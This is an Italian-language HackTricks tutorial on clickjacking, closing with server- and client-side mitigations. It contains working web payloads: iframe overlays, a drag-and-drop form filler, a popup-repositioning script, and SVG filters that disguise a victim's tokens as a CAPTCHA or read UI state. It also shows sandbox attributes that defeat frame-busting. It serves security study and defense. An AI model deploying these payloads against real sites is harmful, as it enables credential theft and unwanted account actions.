Clickjacking

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Che cos’è Clickjacking

In un attacco di clickjacking, un utente viene ingannato nel cliccare un elemento su una pagina web che è o invisibile o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze non intenzionali per l’utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l’acquisto online di prodotti.

Prepopulate forms trick

A volte è possibile precompilare i valori dei campi di un form usando parametri GET durante il caricamento della pagina. Un attacker può abusare di questo comportamento per compilare un form con dati arbitrari e inviare il payload di clickjacking così che l’utente prema il pulsante Submit.

Populate form with Drag&Drop

Se hai bisogno che l’utente compili un form ma non vuoi chiedergli direttamente di inserire alcune informazioni specifiche (come l’email o una password specifica che conosci), puoi semplicemente chiedergli di Drag&Drop qualcosa che scriverà i dati sotto il tuo controllo, come in questo esempio.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload multistadio

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un attacco XSS che richiede a un utente di fare clic su un elemento per attivare l’XSS e la pagina è vulnerable to clickjacking, potresti abusarne per indurre l’utente a cliccare il pulsante/link.
Esempio:
Hai trovato una self XSS in alcuni dettagli privati dell’account (dettagli che solo tu puoi impostare e leggere). La pagina con il form per impostare questi dettagli è vulnerabile a Clickjacking e puoi precompilare il form con i parametri GET.
Un attaccante potrebbe preparare un attacco Clickjacking verso quella pagina precompilando il form con il XSS payload e ingannando l’utente per inviare il form. Quindi, quando il form viene inviato e i valori sono modificati, l’utente eseguirà l’XSS.

DoubleClickjacking

Prima spiegata in questo post, questa tecnica chiede alla vittima di fare doppio click su un pulsante di una pagina custom posizionata in un punto specifico, e sfrutta le differenze temporali tra gli eventi mousedown e onclick per caricare la pagina della vittima durante il doppio click in modo che la vittima clicchi effettivamente un pulsante legittimo nella pagina della vittima.

Un esempio può essere visto in questo video: https://www.youtube.com/watch?v=4rGvRRMrD18

Un esempio di codice si trova in this page.

Warning

Questa tecnica permette di indurre l’utente a cliccare in un punto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l’attaccante deve trovare azioni sensibili che possono essere eseguite con un solo click, come i prompt OAuth che accettano permessi.

Alcuni PoCs abbandonano completamente gli iframes e mantengono un background popup allineato sotto il cursore. La pagina dell’attaccante traccia mousemove e usa un piccolo popup (window.open) che viene spostato con moveTo() mentre è same-origin; una volta allineato, viene reindirizzato indietro alla target origin così il click successivo atterra sul pulsante reale. Poiché cross‑origin moveTo() è bloccato, il popup viene brevemente navigato verso un attacker origin per il riposizionamento, poi location/history.back() ritorna al target. Per portare il target in evidenza al momento del click, l’attaccante può riaprire il popup with the same window name per metterlo in foreground senza cambiare l’URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Le build moderne di Chromium/WebKit/Gecko consentono che il CSS filter:url(#id) venga applicato a cross-origin iframes. I pixel rasterizzati dell’iframe vengono esposti al grafo di filtro SVG come SourceGraphic, quindi primitive come feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. possono deformare arbitrariamente l’UI della vittima prima che l’utente la veda, anche se l’attaccante non tocca mai il DOM. Un semplice filtro in stile Liquid-Glass appare così:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitive utili: feImage carica bitmap dell’attaccante (p.es., overlays, displacement maps); feFlood crea matte a colore costante; feOffset/feGaussianBlur rifiniscono gli highlight; feDisplacementMap rifrange/deforma il testo; feComposite operator="arithmetic" implementa operazioni matematiche arbitrarie per canale (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), sufficienti per aumentare il contrasto, il mascheramento e operazioni AND/OR; feTile ritaglia e replica sonde di pixel; feMorphology espande/contrae i tratti; feColorMatrix sposta la luma nell’alpha per costruire maschere precise.

Distorsione dei segreti in prompt in stile CAPTCHA

Se un endpoint inseribile in un frame renderizza segreti (tokens, reset codes, API keys), l’attaccante può distorcerli in modo che somiglino a un CAPTCHA e costringere alla trascrizione manuale:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

I pixel distorti ingannano l’utente facendogli “risolvere” il captcha all’interno dell’<input> controllato dall’attaccante, il cui pattern impone il vero segreto della vittima.

Ricontextualizzare gli input della vittima

I filtri possono cancellare chirurgicamente il testo segnaposto/di validazione mantenendo le pressioni dei tasti dell’utente. Un flusso di lavoro:

  1. feComposite operator="arithmetic" k2≈4 amplifica la luminosità così che il testo di aiuto grigio si saturi fino al bianco.
  2. feTile limita l’area di lavoro al rettangolo dell’input.
  3. feMorphology operator="erode" ispessisce i glifi scuri digitati dalla vittima e li memorizza tramite result="thick".
  4. feFlood crea una base bianca, feBlend mode="difference" con thick, e un secondo feComposite k2≈100 lo trasforma in una luma matte netta.
  5. feColorMatrix sposta quella luma nell’alpha, e feComposite in="SourceGraphic" operator="in" mantiene solo i glifi inseriti dall’utente.
  6. Un altro feBlend in2="white" più un leggero ritaglio crea una casella di testo pulita, dopo di che l’attaccante sovrappone le proprie etichette HTML (es., “Inserisci la tua email”) mentre l’iframe nascosto continua a far rispettare la policy della password dell’origine della vittima.

Safari ha difficoltà con feTile; lo stesso effetto può essere riprodotto con matte spaziali costruite da feFlood + feColorMatrix + feComposite per payload esclusivi WebKit.

Sonde di pixel, logica e macchine a stati

Ritagliando una regione di 2–4 px con feTile e piastrellandola al 100% della viewport, l’attaccante trasforma il colore campionato in una texture a schermo intero che può essere convertita in una maschera booleana tramite una soglia:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Per colori arbitrari, un riferimento feFlood (es., #0B57D0) più feBlend mode="difference" e un altro composite aritmetico (k2≈100, k4 come tolleranza) produce bianco solo quando il pixel campionato corrisponde alla tonalità target. Alimentare queste maschere in feComposite con k1..k4 tarati genera porte logiche: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT tramite blending contro il bianco. Concatenando le porte si realizza un full adder all’interno del filter graph, dimostrando che la pipeline è funzionalmente completa.

Di conseguenza gli attacker possono leggere lo stato della UI senza JavaScript. Esempi di booleani in un flusso modale:

  • D (dialog visibile): sondare un angolo oscurato e verificare rispetto al bianco.
  • L (dialog caricato): sondare le coordinate dove appare il pulsante una volta pronto.
  • C (checkbox selezionata): confrontare il pixel della checkbox con il blu attivo #0B57D0.
  • R (banner rosso di successo/errore): usare feMorphology e soglie rosse dentro il rettangolo del banner.

Ogni stato rilevato attiva una diversa bitmap di overlay incorporata via feImage xlink:href="data:...". Mascherare quelle bitmap con D, L, C, R mantiene gli overlay sincronizzati con il dialog reale e guida la vittima attraverso workflow multi-step (password resets, approvals, destructive confirmations) senza mai esporre il DOM.

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Una volta che la risposta arriva, il browser richiede le credenziali anche se i popup sono disabilitati. Iframare un’origine trusted con questo trucco permette UI redress/phishing: prompt modali inaspettati all’interno di un widget “sandboxed” possono confondere gli utenti o indurre i gestori di password a offrire credenziali salvate.

Browser extensions: DOM-based autofill clickjacking

Oltre all’iframing delle pagine vittima, gli attaccanti possono mirare agli elementi UI delle estensioni del browser che vengono iniettati nella pagina. I gestori di password rendono dropdown di autofill vicino agli input focalizzati; focalizzando un campo controllato dall’attaccante e nascondendo/oscultando il dropdown dell’extension (trucchi di opacity/overlay/top-layer), un click costretto dell’utente può selezionare un elemento salvato e riempire dati sensibili in input controllati dall’attaccante. Questa variante non richiede esposizione via iframe e funziona interamente tramite manipolazione DOM/CSS.

Un caso reale: Dashlane ha divulgato un problema di passkey dialog clickjacking (Aug 2025) dove XSS sul dominio della relying party permetteva a un attaccante di sovrapporre HTML sopra la passkey dialog dell’estensione. Un click sull’elemento dell’attaccante avrebbe proceduto con il login legittimo via passkey (la passkey stessa non viene esposta), trasformando di fatto un UI-redress in accesso all’account se l’RP è già vulnerabile a script injection.

Strategies to Mitigate Clickjacking

Client-Side Defenses

Gli script eseguiti lato client possono compiere azioni per prevenire il Clickjacking:

  • Assicurarsi che la finestra dell’applicazione sia la finestra principale (top window).
  • Rendere tutti i frame visibili.
  • Impedire i click su frame invisibili.
  • Rilevare e avvisare gli utenti di potenziali tentativi di Clickjacking.

Tuttavia, questi script anti-frame possono essere elusi:

  • Impostazioni di sicurezza dei browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto a JavaScript.
  • HTML5 iframe sandbox Attribute: Un attaccante può neutralizzare gli script anti-frame impostando l’attributo sandbox con i valori allow-forms o allow-scripts senza allow-top-navigation. Questo impedisce all’iframe di verificare se è la top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

I valori allow-forms e allow-scripts abilitano azioni all’interno dell’iframe pur disabilitando la navigazione a livello superiore. Per garantire la funzionalità prevista del sito target, potrebbero essere necessari permessi aggiuntivi come allow-same-origin e allow-modals, a seconda del tipo di attacco. I messaggi della console del browser possono indicare quali permessi consentire.

Difese lato server

X-Frame-Options

L’header di risposta HTTP X-Frame-Options informa i browser sulla legittimità di renderizzare una pagina in un <frame> o <iframe>, aiutando a prevenire il Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può incorniciare il contenuto.
  • X-Frame-Options: sameorigin - Solo il sito corrente può incorniciare il contenuto.
  • X-Frame-Options: allow-from https://trusted.com - Solo l’URI specificato può incorniciare la pagina.
  • Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.

Content Security Policy (CSP) direttiva frame-ancestors

La direttiva frame-ancestors del CSP è il metodo consigliato per la protezione contro il Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Per esempio, la seguente CSP permette il framing solo dallo stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli ed esempi complessi si trovano nella frame-ancestors CSP documentation e nella Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) con child-src e frame-src

Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali sorgenti il browser deve consentire per caricare contenuti.

Direttiva frame-src

  • Definisce le sorgenti valide per i frame.
  • Più specifica della direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questa politica consente frame dalla stessa origine (self) e https://trusted-website.com.

child-src Direttiva

  • Introdotta in CSP livello 2 per definire le sorgenti valide per i web workers e i frame.
  • Funziona come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questa policy permette frame e worker dalla stessa origine (self) e da https://trusted-website.com.

Note d’uso:

  • Deprecation: child-src viene gradualmente deprecato in favore di frame-src e worker-src.
  • Fallback Behavior: Se frame-src è assente, child-src viene usato come fallback per i frame. Se entrambi sono assenti, default-src viene usato.
  • Strict Source Definition: Includere solo sorgenti attendibili nelle direttive per prevenire sfruttamenti.

JavaScript Frame-Breaking Scripts

Sebbene non completamente infallibili, gli script frame-busting basati su JavaScript possono essere usati per impedire che una pagina web venga incorniciata. Esempio:

if (top !== self) {
top.location = self.location
}

Utilizzo di Anti-CSRF Tokens

  • Token Validation: Usa anti-CSRF tokens nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall’utente e non tramite una pagina Clickjacked.

Riferimenti

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks